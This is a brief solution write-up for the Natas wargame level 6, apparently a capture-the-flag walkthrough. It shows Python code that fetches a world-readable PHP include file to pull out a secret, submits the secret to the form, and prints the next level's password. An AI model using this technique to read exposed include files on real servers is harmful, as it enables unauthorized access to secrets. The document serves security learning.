Description

The page source shows include "includes/secret.inc"; and a form that checks if the submitted value matches $secret. Fetching includes/secret.inc directly reveals the secret string.

Overview

• PHP include files are sometimes left world-readable on the web server.
• The .inc extension is not blocked by default; the file is returned as plain text.

Solution

secret_resp = requests.get(url + "/includes/secret.inc", auth=("natas6", current_password))
secret = re.search(r'\$secret = "(.*?)"', secret_resp.text).group(1)

response = requests.post(url, auth=("natas6", current_password), data={"secret": secret, "submit": "submit"})
result = re.search(r"The password for natas7 is (.*)", response.text).group(1).strip()

Password

jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr